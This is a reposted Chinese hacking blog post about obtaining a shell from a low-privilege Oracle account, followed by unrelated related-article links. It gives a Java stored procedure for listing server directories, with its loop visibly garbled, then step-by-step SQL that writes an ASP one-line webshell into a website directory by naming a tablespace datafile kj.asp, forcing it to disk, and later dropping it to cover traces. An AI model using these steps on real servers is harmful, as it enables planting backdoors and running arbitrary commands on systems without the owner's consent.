oracle低权限下获取shell

简介: 转载请标明:http://hi.baidu.com/hack_forensic 《关于oracle列目录的可行性测试》经过本人测试,确实可行,解决了 kj021320文章的遗憾,kj021320在文章最后说,当然这个方法缺点就是你要知道WEB路径.
转载请标明:http://hi.baidu.com/hack_forensic 《关于oracle列目录的可行性测试》 经过本人测试,确实可行,解决了 kj021320文章的遗憾,kj021320在文章<>最后说,当然这个方法缺点就是你要知道WEB路径.少费话,直接贴code: create global temporary table BLUEUSER.dirlist( filename varchar2(255), filesize number, filedate date) on commit delete rows; / create or replace and compile java source named DirList as import java.io.*; import java.sql.*; public class DirList { public static void getList(String directory) throws SQLException { File path=new File(directory); String[] fileList=path.list(); String fileName; long fileSize; long fileDate; for (int i=0;i exec BLUEUSER.p_get_dir_list(‘/tmp’); PL/SQL procedure successfully completed select * from BLUEUSER.dirlist; select * from BLUEUSER.dirlist where rownum<150; select filename from BLUEUSER.dirlist where rownum<150; select filename from BLUEUSER.dirlist; truncate table BLUEUSER.dirlist; 好啊 要不然是追加. 测试环境:oracle 9+redhat ——————ORACLE 建立数据文件WriteWebShell——————— SQLJ 存储过程写文件也可以,逼于无奈对方机器不支持SQLJ 还有 UTL_FILE包也被干掉了? 那 也可以 使用以下我说的这个方式 SQL> create tablespace kjtest datafile ‘e:/website/kj.asp’ size 100k nologging ; 表空间已创建。 这里记住了 100K为ORACLE 表空间最小的单位,如果你的一句话SHELL比较大 那可以200K比较稳妥 但是最终建议一句话一定要最最简洁 SQL> CREATE TABLE WEBSHELL(C varchar2(100)) tablespace kjtest; 表已创建。 一般用 VARCHAR类型已经可以 ,表空间太小了 ,所以不可以 为 CLOB或者 BLOB类型。 SQL> insert into WEBSHELL values(‘<%execute request(“kj021320″)%>’); 已创建 1 行。 SQL> commit; 提交完成。 提交完成之后就 OK? NO~ 因为数据还没有被 DBWn 进程刷到文件呢. 所以需要同步一下CKPT以及OFFLINE当前表空间 SQL> alter tablespace kjtest offline; 表空间已更改。 到这里 你的 一句话SHELL代码已经 写到 那个文件了 你会发现有这样的 <%execute request(“kj021320″)%>的 代码 一句话shell已经OK了 最后使用后记得吧 表空间删除 SQL> drop tablespace kjtest including contents; 表空间已删除。
目录
相关文章
|
5天前
|
存储 Shell 数据安全/隐私保护
ZooKeeper【基础知识 04】控制权限ACL(原生的 Shell 命令)
【4月更文挑战第11天】ZooKeeper【基础知识 04】控制权限ACL(原生的 Shell 命令)
24 7
|
30天前
|
Shell Linux 开发工具
shell的介绍以及Linux权限的讲解
shell的介绍以及Linux权限的讲解
31 2
|
1月前
|
Shell Linux C语言
【Shell 命令集合 网络通讯 】Linux 设置终端机的写入权限 mesg 命令 使用指南
【Shell 命令集合 网络通讯 】Linux 设置终端机的写入权限 mesg 命令 使用指南
23 0
|
1月前
|
安全 Shell Linux
【Shell 命令集合 文件管理】Linux 设置文件创建时的默认权限掩码 umask命令使用教程
【Shell 命令集合 文件管理】Linux 设置文件创建时的默认权限掩码 umask命令使用教程
26 0
|
2月前
|
Shell Linux 开发工具
操作系统(Linux)外壳程序shell 、用户、权限
操作系统(Linux)外壳程序shell 、用户、权限
|
4月前
|
Unix Shell Linux
shell执行权限
shell执行权限
146 2
|
4月前
|
安全 Unix Shell
shell脚本文件的权限和执行
shell脚本文件的权限和执行
224 1
|
4月前
|
存储 Shell 数据安全/隐私保护
ZooKeeper【基础 04】控制权限ACL(原生的 Shell 命令)
ZooKeeper【基础 04】控制权限ACL(原生的 Shell 命令)
36 0
|
4月前
|
Linux Shell
Linux中的shell外壳与权限(包含目录文件的权限,粘滞位的来龙去脉)(下)
Linux中的shell外壳与权限(包含目录文件的权限,粘滞位的来龙去脉)
|
4月前
|
Linux Shell 数据安全/隐私保护
Linux中的shell外壳与权限(包含目录文件的权限,粘滞位的来龙去脉)(上)
Linux中的shell外壳与权限(包含目录文件的权限,粘滞位的来龙去脉)

推荐镜像

更多